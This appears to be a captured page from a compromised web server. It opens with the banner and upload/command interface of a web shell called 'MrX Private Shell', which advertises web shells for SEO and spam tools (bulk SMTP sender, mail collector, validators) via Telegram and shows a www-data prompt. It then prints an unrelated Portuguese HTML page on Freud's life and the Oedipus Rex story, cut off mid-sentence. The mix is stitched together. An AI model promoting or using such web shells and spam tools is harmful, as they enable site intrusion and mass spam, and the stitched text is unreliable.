__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta http-equiv="content-type"
 content="text/html; charset=ISO-8859-1">
  <title>Freud</title>
  <link rel="stylesheet" href="estilo5.css" type="text/css"
 media="screen">
</head>
<body>
<div id="container">
<div id="header" title="sitename">
<h1 style="text-align: center;"><img
 style="width: 800px; height: 120px;" alt="" src="logo.jpg"></h1>
</div>
<div class="blogentry">
<div style="text-align: center;"><iframe src="indice.html"
 frameborder="0" height="20" width="800"></iframe></div>
<center><font class="option" color="#000000"><b><br>
</b></font>
<div style="text-align: justify;"><br>
</div>
<font class="option" color="#000000"><b>
</b></font></center>
<br>
<h2 style="text-align: center;" class="art-PostHeader">
Freud
</h2>
<div class="art-PostMetadataHeader">
<div class="art-PostHeaderIcons art-metadata-icons"><a
 href="http://www.cienciasdasaude.org/portal/?author=1"
 title="Posts de heinz" rel="author"><br>
</a>
</div>
</div>
<p style="text-align: justify;"><a
 href="http://www.cienciasdasaude.org/portal/wp-content/gallery/historia/738.jpg"
 title="" class="shutterset_singlepic738"> </a><a
 href="../paginas/hfar-freud-1.html"><img
 style="border: 0px solid ; width: 113px; height: 160px; float: left;"
 class="ngg-singlepic ngg-left" src="../img/738__320x240_738.jpg"
 alt="Clique para ampliar" title="Clique para ampliar"></a>
<strong>SIGMUND FREUD</strong>
(1856-1939) iniciou uma revolu&ccedil;&atilde;o intelectual
hist&oacute;rica na vis&atilde;o que o homem tem do
pr&oacute;prio homem com o desenvolvimento de sua teoria
psicanal&iacute;tica. Considerava que as for&ccedil;as
inconscientes eram altamente significativas como causa do
dist&uacute;rbio mental e emocional. Ao desenvolver a
psican&aacute;lise como um m&eacute;todo de tratamento e
investiga&ccedil;&atilde;o, deu grande relev&acirc;ncia
&agrave; sexualidade e &agrave; amn&eacute;sia infantil; os
princ&iacute;pios do prazer e da realidade; a
psicodin&acirc;mica; o complexo de &Eacute;dipo, a inveja do
p&ecirc;nis; as lembran&ccedil;as ocultas, a rivalidade entre
irm&atilde;os; a cena prim&aacute;ria; as bases do id, do ego e
do superego; a teoria da libido; os mecanismos da repress&atilde;o
e outros mecanismos de defesa; e o emprego terap&ecirc;utico do
div&atilde;, a livre associa&ccedil;&atilde;o, a
an&aacute;lise dos sonhos, das parapraxis, a resist&ecirc;ncia
e as transfer&ecirc;ncias.<span id="more-6933"></span></p>
<p style="text-align: justify;"><strong>Viena
d&rsquo;&Aacute;ustria</strong>,
fins do s&eacute;culo XIX. Perante um p&uacute;blico composto
quase inteiramente por m&eacute;dicos, <strong>Freud</strong>
desenvolve sua teoria sobre sexualidade infantil. Imbu&iacute;dos
dos preconceitos da &eacute;poca, os ouvintes n&atilde;o
admitem que as rea&ccedil;&otilde;es infantis tenham
liga&ccedil;&otilde;es com o sexo e, ap&oacute;s violenta
discuss&atilde;o com o orador, saem indignados.</p>
<p style="text-align: justify;">Realmente,
poucos personagens do mundo da ci&ecirc;ncia suscitam
t&atilde;o acirrada pol&ecirc;mica quanto <strong>Freud</strong>,
o criador da psican&aacute;lise. E poucas pessoas se entregam de
maneira t&atilde;o completa e apaixonada &agrave; pesquisa do
mist&eacute;rio que &eacute; a alma humana.</p>
<p style="text-align: justify;">No
dia 06 de maio de 1856, nasce <strong>Freud</strong>
em Freiberg, na Mor&aacute;via, &Aacute;ustria, hoje Pribor,
Tchecoslov&aacute;quia. Filho de Jakob Freud e Amalie Natanshon,
modestos comerciantes judeus. Aos 4 anos de idade, Freud muda-se com a
fam&iacute;lia para Viena, onde passar&aacute; a maior parte de
sua vida.</p>
<p style="text-align: justify;">Primeiro
da classe desde o in&iacute;cio de sua vida escolar, o jovem Freud
revela-se extraordinariamente dotado para a qu&iacute;mica e a
bot&acirc;nica. Atra&iacute;do pelos trabalhos de Darwin,
interessa-se pela pesquisa cient&iacute;fica. Influenciado pela
obra <strong><em>A
Natureza</em></strong>,
de Goethe, ingressa na Faculdade de Medicina de Viena, em 1873.</p>
<p style="text-align: justify;">Mas
no meio universit&aacute;rio
encontra obstinada rea&ccedil;&atilde;o
anti-sem&iacute;tica. No
entanto, o fato n&atilde;o o abala: <strong><em>&ldquo;Jamais
aceitarei que devesse ter vergonha de minha origem ou, como diziam, de
minha ra&ccedil;a&rdquo; &ndash; </em></strong>afirmara
num trecho de sua autobiografia. Al&eacute;m de ter que enfrentar o
preconceito, o jovem estudante vive momentos dif&iacute;ceis em
fam&iacute;lia. Com a quebra da bolsa de valores de Viena, Jakob
Freud ficou falido. Para sobreviver, sua fam&iacute;lia
&eacute; obrigada a aceitar a ajuda de parentes.</p>
<p style="text-align: justify;">Durante
o curso de medicina, Freud fez experi&ecirc;ncias com a <strong>coca&iacute;na</strong>.
Usou-a, ofereceu &agrave; sua noiva, &agrave;s suas
irm&atilde;s e aos seus amigos, sendo respons&aacute;vel pela
introdu&ccedil;&atilde;o da subst&acirc;ncia na
pr&aacute;tica m&eacute;dica. Entusiasmado com ela, descobriu
que a coca&iacute;na curava sua depress&atilde;o e ajudava na
indigest&atilde;o quase cr&ocirc;nica. Freud estava convencido
de Ter encontrado uma droga milagrosa que curaria da ci&aacute;tica
ao enj&ocirc;o mar&iacute;timo, e lhe daria a fama e o
reconhecimento que ansiava.</p>
<p style="text-align: justify;">Mas
isso n&atilde;o iria acontecer. Um dos colegas m&eacute;dicos
de Freud, depois de ouvir suas conversas casuais sobre a droga, fez
suas pr&oacute;prias experi&ecirc;ncias e descobriu que a
coca&iacute;na podia ser usada para anestesiar o olho humano,
possibilitando pela primeira vez a cirurgia ocular. Freud publicou um
artigo sobre os usos e benef&iacute;cios da coca&iacute;na em
1884, sendo esse trabalho considerado parcialmente
respons&aacute;vel pela epidemia do uso de coca&iacute;na que
varreu a Europa e os Estados Unidos, durando at&eacute; quase toda
a d&eacute;cada de 20.</p>
<p style="text-align: justify;">Freud
foi criticado por defender o uso da coca&iacute;na fora da cirurgia
do olho e por difundir essa peste no mundo. Pelo resto da vida, ele
tentou deliberadamente apagar toda lembran&ccedil;a do seu endosso
&agrave; coca&iacute;na, chegando a omitir
refer&ecirc;ncias ao seu trabalho em sua pr&oacute;pria
bibliografia. Por muitos anos, acreditava-se que Freud parara de usar a
coca&iacute;na dos dias de escola m&eacute;dica, mas
descobriu-se recentemente que ele usou a droga por mais dez anos,
at&eacute; aproximadamente sua meia idade.</p>
<p style="text-align: justify;">Em
1876, ainda estudante, Sigmund
come&ccedil;a a interessar-se por neurologia, e a trabalhar com
pesquisas sobre o assunto, com o <strong>Professor
Ernst Br&uuml;cke. </strong>A&iacute;
conhece <strong>Joseph Breuer</strong>,
que se tornar&aacute; mais tarde seu grande amigo e colaborador.</p>
<p style="text-align: justify;">Em
1881, conclui seu curso de medicina. Sua tese de doutoramento versa
sobra o sistema nervoso. E resolve seguir por esse caminho,
especializando-se em neurologia. Durante v&aacute;rios anos,
trabalha numa cl&iacute;nica para crian&ccedil;as, onde
descobre um tipo de paralisia cerebral e escreve um ensaio sobre a
afasia &ndash; problema de fala proveniente de
dist&uacute;rbios psicol&oacute;gicos.</p>
<p style="text-align: justify;"><strong>Freud
</strong>j&aacute;
&eacute; quase independente. N&atilde;o recebe mais ajuda da
fam&iacute;lia, mas sim de m&eacute;dicos amigos, em particular
de <strong>Joseph Breuer</strong>,
com quem passou a trabalhar. Breuer transmite-lhe o resultado de certas
experi&ecirc;ncias que fizera no campo neurol&oacute;gico e
conhece sua experi&ecirc;ncia em um caso de histeria que havia
melhorado ap&oacute;s tratamento pela hipnose. <strong>Sigmund</strong>
entusiasma-se com a experi&ecirc;ncia. Dedica-se com afinco a
estudar o
assunto, n&atilde;o s&oacute; em teoria mas principalmente na
pr&aacute;tica.</p>
<p style="text-align: justify;">Acreditando
ser a hipnose a
solu&ccedil;&atilde;o para as
perturba&ccedil;&otilde;es mentais,
muda-se para Paris, em 1885, a fim de estudar com <strong>Jean
Martin Charcot</strong>. A
t&eacute;cnica do grande neurologista, que aplica o hipnotismo nos
pacientes de sua cl&iacute;nica, torna-se motivo de debate nos
meios m&eacute;dicos, mas influencia, ao mesmo tempo, muitos deles.
Como Sigmund Freud e Breuer, Charcot tamb&eacute;m acreditava que a
histeria deve ser tratada sob o ponto de vista psicol&oacute;gico e
n&atilde;o como doen&ccedil;a org&acirc;nica.
S&atilde;o raros os que pensam assim. A maioria dos
m&eacute;dicos ainda prefere seguir o lema: <strong><em>mens
sana in corpore sano</em></strong>
&ndash; um corpo s&atilde;o significa, obrigatoriamente, a
presen&ccedil;a de mente tamb&eacute;m sadia</p>
<p style="text-align: justify;">Em
abril de 1886, Freud retorna a Viena, onde retoma seu trabalho ao lado
de Breuer. E abre seu pr&oacute;prio consult&oacute;rio para
clientes particulares. Em setembro do mesmo ano, casa-se com <strong>Martha
Bernays</strong>.</p>
<p style="text-align: justify;">Em
seu consult&oacute;rio, Freud aplica o sistema da hipnose aliado ao
m&eacute;todo da <strong><em>catarse</em></strong>:
libertando-se da emo&ccedil;&atilde;o reprimida, o paciente
revive, no sono hipn&oacute;tico, as experi&ecirc;ncias que
motivaram sua ang&uacute;stia; revelam-se, assim, as
&ldquo;bases&rdquo; do seu desajuste. Preciosas
informa&ccedil;&otilde;es sobre os conflitos inconscientes
surgem desse trabalho.</p>
<p style="text-align: justify;">Essa
informa&ccedil;&otilde;es colhidas
na pr&aacute;tica ser&atilde;o mais tarde descritas no livro
elaborado
em colabora&ccedil;&atilde;o com Breuer: <strong><em>Estudos
Sobre a Histeria.</em></strong>
Aos poucos, surgem dificuldades. Os resultados da hipnose
s&atilde;o muito relativos: os problemas mais profundos permanecem
impenetr&aacute;veis. Freud substitui o sistema da hipnose pelo da <strong><em>associa&ccedil;&atilde;o
livre</em></strong>:
o paciente &eacute; levado a dizer livremente tudo o que lhe
ocorre, &agrave; medida que o m&eacute;dico faz perguntas ou
menciona certas frases ou eventos. Por essa t&eacute;cnica, o
indiv&iacute;duo muitas vezes acaba relatando fatos que ocorreram
h&aacute; muito tempo e permaneciam &ldquo;guardados&rdquo;
em seu subconsciente. E, segundo Freud, muitos desses acontecimentos
remotos teriam sido esquecidos justamente como um mecanismo de defesa,
por serem origem de fortes choques emocionais.</p>
<p style="text-align: justify;">Segundo
Freud, ainda, a personalidade estaria composta de tr&ecirc;s
camadas: o <strong><em>Id,
</em></strong>o
<strong><em>Ego</em></strong>
e o <strong><em>Superego</em></strong>.
O Id &eacute; concebido como sendo a parte mais antiga da mente,
inteiramente inconsciente e voltada para a
forma&ccedil;&atilde;o dos impulsos, sendo por isso o seu
reposit&oacute;rio e por isso n&atilde;o apresenta conflitos. O
Ego corresponde aproximadamente ao sistema executor das demanda do Id,
sendo que &eacute; ele o organizador das defesas, assegura a
adapta&ccedil;&atilde;o &agrave; realidade , regula os
conflitos, faz a censura e representa a raz&atilde;o, a
percep&ccedil;&atilde;o, a mem&oacute;ria. O superego
&eacute; o representante dos aspectos restritivos da psique, ou
seja, &eacute; quem regula as demandas do Id e a sua
execu&ccedil;&atilde;o pelo Ego. Seria as
conseq&uuml;&ecirc;ncias das regras impostas pelos pais e
conven&ccedil;&otilde;es sociais.</p>
<p style="text-align: justify;">Durante
o per&iacute;odo que poderia ser chamado de
&ldquo;prim&oacute;rdios da psican&aacute;lise&rdquo;,
Freud observou e deteve-se a analisar o que entrevia no inconsciente de
seus pacientes. Chegou &agrave; convic&ccedil;&atilde;o de
que todos os problemas psicol&oacute;gicos que se manifestam na
vida adulta tem ra&iacute;zes na inf&acirc;ncia. Suas teorias
originam ferrenhas pol&ecirc;micas nos meios intelectuais; ganhou
inimigos exaltados.</p>
<p style="text-align: justify;">A
Psican&aacute;lise seguia seu caminho. Ap&oacute;s esses passos
iniciais, Freud come&ccedil;ou a entrever uma nova chave para
desvendar o mundo oculto da mente. Muitas vezes em seus relatos a
respeito das experi&ecirc;ncias vividas, os pacientes discorriam
sobre sonhos que haviam causado impress&atilde;o profunda. Se
inconsciente estava a raiz dos problemas, o sonho poderia ser um
caminho para trazer &agrave; tona os sentimentos e
emo&ccedil;&otilde;es reprimidos. Imaginou que o sonho poderia
funcionar como uma esp&eacute;cie de
&ldquo;v&aacute;lvula&rdquo; para liberar o choque entre a
vontade (do consciente, o Ego) e o instinto (do inconsciente, o Id).</p>
<p style="text-align: justify;">Freud
foi o primeiro a interessar-se cientificamente pelos sonhos.
considerava o estudo e a interpreta&ccedil;&atilde;o dos sonhos
como um passo important&iacute;ssimo no sentido de transformar a
psicologia em verdadeira ci&ecirc;ncia. At&eacute;
ent&atilde;o, o assunto s&oacute; preocupara feiticeiros,
astr&oacute;logos e adivinhos.</p>
<p style="text-align: justify;">Aprofundou-se
no assunto, passou a considerar a interpreta&ccedil;&atilde;o
dos sonhos como um dos melhores m&eacute;todos para vasculhar o
mundo subconsciente dos indiv&iacute;duos. Os conflitos entre o
consciente e o inconsciente &ldquo;escapam&rdquo; durante o
sono, por meio de s&iacute;mbolos, na maioria das vezes
surrealistas. A aparente incoer&ecirc;ncia de determinados sonhos,
as seq&uuml;&ecirc;ncias absurdas, os s&uacute;bitos cortes
e mudan&ccedil;as davam a chave de sua
significa&ccedil;&atilde;o, quando interpretados por meio e <strong>s&iacute;mbolos</strong>
e da <strong>&ldquo;<em>livre
associa&ccedil;&atilde;o&rdquo;</em></strong></p>
<p style="text-align: justify;">A
partir desse estudo, formulou a sua teoria para explicar as neuroses.</p>
<p style="text-align: justify;">Durante
os dez anos em que trabalhou na elabora&ccedil;&atilde;o de
suas principais teorias, Freud esteve s&oacute;. Em 1906,
juntaram-se a ele alguns colegas e disc&iacute;pulos que iriam
posteriormente complementar e continuar a sua obra: <strong>Alfred
Adler, Carl Gustav Jung, Sandor Ferenczi, Wilhelm Steckel, Otto Rank.</strong></p>
<p style="text-align: justify;">Em
1908, reuniram-se no primeiro <strong>Congresso
Internacional de Psican&aacute;lise.</strong>
Pouco depois fundaram a <strong>Associa&ccedil;&atilde;o
Internacional de Psican&aacute;lise</strong>,
com sucursais em v&aacute;rios pa&iacute;ses.
Come&ccedil;aram a editar revistas especializadas, e divulgar os
resultados obtidos em Viena para o mundo inteiro. A fama das novas
teorias logo alcan&ccedil;a outros continentes. O renome de Freud
chega aos Estados Unidos; em 1909, ele pronuncia uma s&eacute;rie
de confer&ecirc;ncias na Universidade de Worcester, em
Massachusetts, as c&eacute;lebres <strong><em>Cinco
Li&ccedil;&otilde;es em Psican&aacute;lise</em></strong>.
&Eacute; o primeiro reconhecimento acad&ecirc;mico
internacional.</p>
<p style="text-align: justify;">No
ano de 1912, seu colaborador <strong>Adler</strong>
se separa dele, em 1913, <strong>Jung</strong>
e a seguir <strong>Steckel</strong>.
Os caminhos seguidos no estudo e na pesquisa j&aacute;
come&ccedil;am a divergir, embora o ponto de partida tenha sido o
mesmo. Mas as novas teorias n&atilde;o tiravam o m&eacute;rito
de Freud. Ao contr&aacute;rio, valorizaram-no: foi a partir das
id&eacute;ias dele que elas puderam surgir. E a partir dele, o
interesse pelo homem e por seus problemas mais profundos
intensificou-se e aperfei&ccedil;oou-se.</p>
<p style="text-align: justify;">Com
a eclos&atilde;o da <strong>Primeira
Guerra Mundial</strong>,
Freud enfrenta um ambiente hostil, carregado de &oacute;dio contra
os
judeus. Os &uacute;ltimos anos de sua vida coincidem com a
expans&atilde;o <strong>Nazista</strong>
na Europa. E h&aacute; j&aacute; dezesseis anos ele sofre de
c&acirc;ncer no maxilar. Al&eacute;m da doen&ccedil;a,
&eacute; atrozmente perseguido por causa de suas id&eacute;ias.
Seus livros s&atilde;o queimados em pra&ccedil;a
p&uacute;blica, junto com muitos outros de autores judeus. A
alega&ccedil;&atilde;o era a de serem perniciosos por conterem
&ldquo;uma pornografia especialmente judaica&rdquo;.</p>
<p style="text-align: center;">
<a href="../paginas/hfar-freud-2.html" title=""
 class="shutterset_singlepic739"> <img
 style="border: 0px solid ; width: 160px; height: 122px; float: right;"
 class="ngg-singlepic ngg-center" src="../img/739__320x240_739.jpg"
 alt="Clique para ampliar" title="Clique para ampliar"></a></p>
<p style="text-align: justify;">Seus
bens s&atilde;o confiscados e sua biblioteca &eacute; queimada.
Est&aacute; com 81 anos quando <strong>Hitler</strong>
invade a &Aacute;ustria. Seus amigos insistem para que abandone o
pa&iacute;s. Mas aquela &eacute; sua p&aacute;tria,
n&atilde;o quer deix&aacute;-la. Retiram-lhe o passaporte e
pro&iacute;bem-no de trabalhar. Gra&ccedil;as &agrave;
interven&ccedil;&atilde;o de Roosevelt, presidente dos Estados
Unidos, consegue deixar o pa&iacute;s e chegar ileso &agrave;
Inglaterra. Mas morre um ano depois, vitimado pelo c&acirc;ncer.</p>
<p style="text-align: justify;">Hoje,
&eacute; certo que suas teorias revolucion&aacute;rias para a
&eacute;poca abriram novas perspectivas para a
explora&ccedil;&atilde;o dos problemas do homem. Sua teoria e
sua terapia psicanalista foram desenvolvidas e modificadas pelos seus
seguidores, enriquecendo-as. Passou a constituir um instrumento
obrigat&oacute;rio de pesquisa e
interpreta&ccedil;&atilde;o em todos os dom&iacute;nios das
ci&ecirc;ncias humanas. Al&eacute;m disso, as
aplica&ccedil;&otilde;es da psican&aacute;lise &agrave;
cr&iacute;tica art&iacute;stica e liter&aacute;ria
s&atilde;o extremamente amplas e fecundas.</p>
<h4>Principais obras de Freud</h4>
<ul>
  <li style="text-align: justify;">Interpreta&ccedil;&atilde;o
dos Sonhos &ndash; 1900;</li>
  <li style="text-align: justify;">Psicopatologia
da Vida Cotidiana &ndash; 1904;</li>
  <li style="text-align: justify;">Recorda&ccedil;&atilde;o
Infantil de Leonardo da Vinci &ndash; 1910;</li>
  <li style="text-align: justify;">Totem
e Tabu &ndash; 1912;</li>
  <li style="text-align: justify;">Introdu&ccedil;&atilde;o
&agrave; Psican&aacute;lise &ndash; 1916-17;</li>
  <li style="text-align: justify;">Psican&aacute;lise
e Teoria da Libido &ndash; 1918;</li>
  <li style="text-align: justify;">Mais
Al&eacute;m do Princ&iacute;pio do Prazer &ndash; 1920;</li>
  <li style="text-align: justify;">Psicologia
das Massas e An&aacute;lise do Ego &ndash; 1921;</li>
  <li style="text-align: justify;">O
Ego e o Id &ndash; 1923;</li>
  <li style="text-align: justify;">Neurose
e Psicose &ndash; 1923;</li>
  <li style="text-align: justify;">Minha
Vida e a Psican&aacute;lise &ndash; 1925;</li>
  <li style="text-align: justify;">Inibi&ccedil;&atilde;o,
Sintoma e Ang&uacute;stia &ndash; 1926.</li>
</ul>
<p style="text-align: justify;">No
Brasil, as obras de Freud foram organizadas em uma
enciclop&eacute;dia de 28 volumes publicados pela <strong>Editora</strong>
<strong>Imago</strong>,
na qual s&atilde;o encontrados todos os trabalhos do <strong>Mestre</strong>.</p>
<p style="text-align: justify;">O
grande m&eacute;rito de <strong>Freud</strong>
foi abordar temas considerados tabus e imorais em sua &eacute;poca,
como por exemplo a sexualidade e ainda, atribuir &agrave; ela,
grande parte dos problemas ps&iacute;quicos.</p>
<p style="text-align: justify;">A
psican&aacute;lise, como afirmara <strong>Bleuler,</strong>
corretamente, diga-se de passagem,<strong>
</strong>acabou se transformando em
dogma, n&atilde;o por obra do pr&oacute;prio <strong>Freud</strong>,
pois ele mesmo afirmava que <strong><em>&ldquo;algum
dia a ci&ecirc;ncia ter&aacute; m&aacute;quinas e
m&eacute;todos que descobrir&atilde;o as causas e os mecanismos
que levam aos dist&uacute;rbios mentais na pr&oacute;pria
constitui&ccedil;&atilde;o do ser humano, mas por enquanto
s&oacute; posso explic&aacute;-los unicamente via minha
percep&ccedil;&atilde;o e observa&ccedil;&otilde;es
cl&iacute;nicas e por isso o fa&ccedil;o de acordo com minhas
concep&ccedil;&otilde;es cient&iacute;ficas&rdquo;</em></strong>
mas seus disc&iacute;pulos e seguidores n&atilde;o entenderam o
m&aacute;xima do <strong>Mestre
Freud</strong> e acabaram por
dogmatizar a psican&aacute;lise transformando uma teoria em uma <strong>m&aacute;xima
cientificamente comprovada </strong>ou
em uma <strong>ci&ecirc;ncia
exata</strong>, mas essa valendo
unicamente para eles psicanalistas. A teoria do <strong>Complexo
de &Eacute;dipo </strong>&eacute;
vista de forma resumida em cap&iacute;tulo mais a frente, enquanto
a obra que serviu de inspira&ccedil;&atilde;o para <strong>Freud
</strong>criar sua teoria da
forma&ccedil;&atilde;o de personalidade, a qual chama-se <strong>&Eacute;DIPO-REI</strong>,
uma trag&eacute;dia <strong>grega</strong>
escrita por <strong>S&Oacute;FOCLES</strong>,
por volta do ano 430a.C. est&aacute; resumida aqui, como se segue.</p>
<h4 style="text-align: justify;">&Eacute;dipo-Rei</h4>
<p style="text-align: center;">
<a href="../paginas/hfar-freud-3.html" title=""
 class="shutterset_singlepic740"> <img
 style="border: 0px solid ; width: 160px; height: 107px; float: left;"
 class="ngg-singlepic ngg-center" src="../img/740__320x240_740.jpg"
 alt="Clique para ampliar" title="Clique para ampliar"></a></p>
<p style="text-align: justify;">A
narrativa se inicia com o Rei
&Eacute;dipo recebendo, &agrave; escadaria de seu
pal&aacute;cio, um
grupo de jovens e idosos, liderados pelo <strong>Sacerdote</strong>,
vindo estes a suplicar-lhe que encontrasse uma forma de livrar <strong>Tebas</strong>
do mal que afligia a cidade e causava a
destrui&ccedil;&atilde;o, a dor e a morte de todos.</p>
<p style="text-align: justify;">Pois
eis que o Rei &Eacute;dipo, j&aacute; sabendo dos
supl&iacute;cios pelos quais passava seus s&uacute;ditos, estes
lhe causando muita dor e provocando-lhe incontido choro, j&aacute;
havia ordenado que seu cunhado <strong>Creonte</strong>
fosse ao templo do deus <strong>Apolo</strong>
em <strong>Delfos</strong>
consultar os or&aacute;culos do deus <strong>Sol</strong>
a mister de descobrir qual a natureza do mal que se abatia sobre Tebas
e como extirp&aacute;-lo.</p>
<p style="text-align: justify;">Voltando
Creonte &agrave; Tebas, trouxe este as
determina&ccedil;&otilde;es do deus: <strong>APOLO,
indignado com o assass&iacute;nio do rei LAIOS, exigia ou o sangue
ou o desterro do criminoso, fosse ele quem o fosse.</strong></p>
<p style="text-align: justify;">Ao
ouvir Creonte, &Eacute;dipo disse n&atilde;o ter conhecido o
Rei Laios pois este j&aacute; era morto quando chegou &agrave;
Tebas e, decifrando o terr&iacute;vel enigma da <strong>Esfinge</strong>,
derrotou-a e sendo por isso feito rei de Tebas e ainda, desposando a
viuva de Laios, <strong>Jocasta</strong>,
com a qual teve filhos e filhas e por isso, alienou-se no dever tanto
moral quanto divino de elucidar esse assass&iacute;nio e punir os
culpados. Para isso, iniciou a investiga&ccedil;&atilde;o,
interpelando o Sacerdote, que tamb&eacute;m ouvira as ordens do
deus, sobre o motivo de n&atilde;o se ter investigado a morte de
seu antecessor e este lhe afirmou que devido &agrave;
amea&ccedil;a da esfinge, todos eram obrigados a deixarem de lado
as coisas duvidosas para se aterem unicamente &agrave; rotina e a
vida cotidiana.</p>
<p style="text-align: justify;">Primeiramente
interrogou Creonte que afirmou ter o Rei Laios sucumbido nas
m&atilde;os de salteadores (<em>assaltantes
que se espreitam &agrave; beira dos caminhos</em>)
e que todos haviam sido mortos, &agrave;
exce&ccedil;&atilde;o do <strong>Pastor</strong>
que conseguira fugir e veio ter &agrave; cidade trazendo a nefasta
not&iacute;cia.</p>
<p style="text-align: justify;"><strong>Creonte</strong>,
s&aacute;bio e profundo conhecedor do povo tebano, sugeriu ao Rei
que mandasse chamar <strong>Tir&eacute;sias</strong>,
o vidente cego para que esse adivinhasse quem era o assassino e onde se
escondia, ao que consentiu &Eacute;dipo. Chamado <strong>Tir&eacute;sias</strong>,
este disse que o assassino era o pr&oacute;prio Rei
&Eacute;dipo, em cumprimento ao destino tra&ccedil;ado a ele
pelo deus ao nascer e que determinava: <strong>tu,
&Eacute;dipo, um dia matar&aacute;s teu pai e
desposar&aacute;s tua m&atilde;e</strong>.</p>
<p style="text-align: justify;">Esta
profecia n&atilde;o era estranha
&agrave; &Eacute;dipo que j&aacute; a conhecia de muito e
por isso
mesmo fugiu de sua terra natal <strong>Corintos,</strong>
para que ela n&atilde;o se cumprisse.</p>
<p style="text-align: justify;">Discutiu
&Eacute;dipo com Tir&eacute;sias, expulsando-o do
pal&aacute;cio e voltando-se, ap&oacute;s isso, contra Creonte,
acusando-o de estar usando o vidente para destron&aacute;-lo e
ficar com o poder. Ap&oacute;s acirrada discuss&atilde;o,
&Eacute;dipo sentencia Creonte ao desterro, por escolha deste, mas
heis que <strong>Jocasta</strong>,
a rainha interv&eacute;m e apazigua os &acirc;nimos, e quando
&Eacute;dipo aproveita para interrogar-lha sobre o local e o tempo
da morte de Laios e esta lhe revela que este fora trucidado onde se
bifurcam os caminhos de <strong>Delfos
</strong>e <strong>D&aacute;ulia,
</strong>e o tempo era o mesmo da
apari&ccedil;&atilde;o de &Eacute;dipo em Tebas. Neste
momento, &Eacute;dipo foi tomado de horr&iacute;vel
pressentimento e perguntou como era o rei Laios e como era seu
s&eacute;quito e, ap&oacute;s a descri&ccedil;&atilde;o
e Jocasta, teve o pressentimento de que ele pr&oacute;prio havia
matado Laios devido a uma discuss&atilde;o que teve ao
encontr&aacute;-lo com seu s&eacute;quito no local onde Jocasta
havia descrito. Para ter a certeza de que n&atilde;o fora ele quem
matara o Rei Laios, mandou chamar o servo sobrevivente para
interrog&aacute;-lo e descobrir se fora um ou um bando que matara o
s&eacute;quito do rei Laios.</p>
<p style="text-align: justify;">Enquanto
aguarda a chegada do Pastor, Jocasta o interroga sobre o porque de sua
afli&ccedil;&atilde;o e &Eacute;dipo lhe conta da profecia
e diz que a ela que para n&atilde;o matar seu pai, o Rei <strong>Pol&iacute;bio</strong>,
de <strong>Corintos</strong>
e n&atilde;o acabar por desposar <strong>M&eacute;rope</strong>,
de <strong>D&oacute;rios</strong>,
ele fugiu de sua cidade e vagou pelo mundo at&eacute; que um dia, a
caminho de Tebas encontrou um cortejo que, pela for&ccedil;a o
obrigou a sair do caminho, mas &Eacute;dipo, ao reagir, matou a
todos, menos o pastor e, para tirar essa imensa d&uacute;vida da
cabe&ccedil;a, apesar de que ainda n&atilde;o tenha se dado
conta de que o homem que ele havia matado era seu pr&oacute;prio
pai, pediu que lhe trouxessem o pastor.</p>
<p style="text-align: justify;">Antes
que o pastor chegasse, apresentou-se no pal&aacute;cio um <strong>Emiss&aacute;rio</strong>
de <strong>Corintos</strong>,
que a procura de &Eacute;dipo, apresentou-se &agrave; <strong>Jocasta</strong>,
trazendo a not&iacute;cia de que, pela morte de seu pai <strong>Pol&iacute;bio</strong>,
o povo de<strong> Corintos</strong>
o queria fazer <strong>Rei do
Istmo. Jocasta</strong>, ao receber
a not&iacute;cia e sabendo da profecia, mandou a <strong>Aia</strong>
chamar &Eacute;dipo, imediatamente para vir ter com o
emiss&aacute;rio. Chegando &agrave; presen&ccedil;a do
emiss&aacute;rio e recebendo a not&iacute;cia, &Eacute;dipo
o interrogou acerca das circunst&acirc;ncias da morte de seu pai.
Morte completamente natural e ao ser interpelado por <strong>Jocasta
</strong>sobre voltar para <strong>Corintos</strong>,
&Eacute;dipo perguntou ao emiss&aacute;rio se sua
m&atilde;e ainda vivia e, com a resposta era afirmativa, disse
&agrave; <strong>Jocasta</strong>
que ainda assim a profecia poderia ser cumprida e, ao ouvir isso, o
emiss&aacute;rio perguntou a &Eacute;dipo, como
s&uacute;dito que tamb&eacute;m o era, o porqu&ecirc; de
n&atilde;o voltar &agrave; terra natal e &Eacute;dipo
dizendo-lhe que n&atilde;o era segredo nenhum, contou-lhe a
profecia. Ao ouvir isso, o emiss&aacute;rio revelou-lhe que
n&atilde;o era filho leg&iacute;timo de <strong>Pol&iacute;bio
</strong>e <strong>Mer&oacute;pe</strong>,
mas sim adotivo, pois ambos n&atilde;o puderam gerar prole e,
ouvindo
isso, seu cora&ccedil;&atilde;o se sobressaltou e, ainda ao
chegar o <strong>Pastor,</strong>
pelo qual &Eacute;dipo esperava para interrog&aacute;-lo, o
mesmo foi reconhecido pelo emiss&aacute;rio como o homem que
entregou &Eacute;dipo ainda crian&ccedil;a para que o criasse.
Neste momento, revelou-se todo o desfecho da profecia que havia
h&aacute; muito se cumprido: <strong>&Eacute;dipo
matara o pr&oacute;prio pai naquela
bifurca&ccedil;&atilde;o e, ao decifrar o enigma da esfinge,
tomara o poder em Tebas e desposara sua pr&oacute;pria
m&atilde;e, com quem teve filhos e filhas.</strong></p>
<p style="text-align: justify;"><strong>Jocasta</strong>
sabendo que os deuses tramaram um destino infeliz para aquele filho,
colocou em seus p&eacute;s um grampo e mandou que o <strong>Pastor
</strong>o levasse para longe e o
matasse, mas chegando ao <strong>Ciret&atilde;o</strong>,
o Pastor ficou com pena daquela crian&ccedil;a e o entregou ao <strong>emiss&aacute;rio</strong>
que tamb&eacute;m pastoreava por aqueles lados &agrave;quelas
&eacute;pocas e este o recebeu e entregou &agrave; <strong>Pol&iacute;bio
</strong>e <strong>Mer&oacute;pe</strong>,
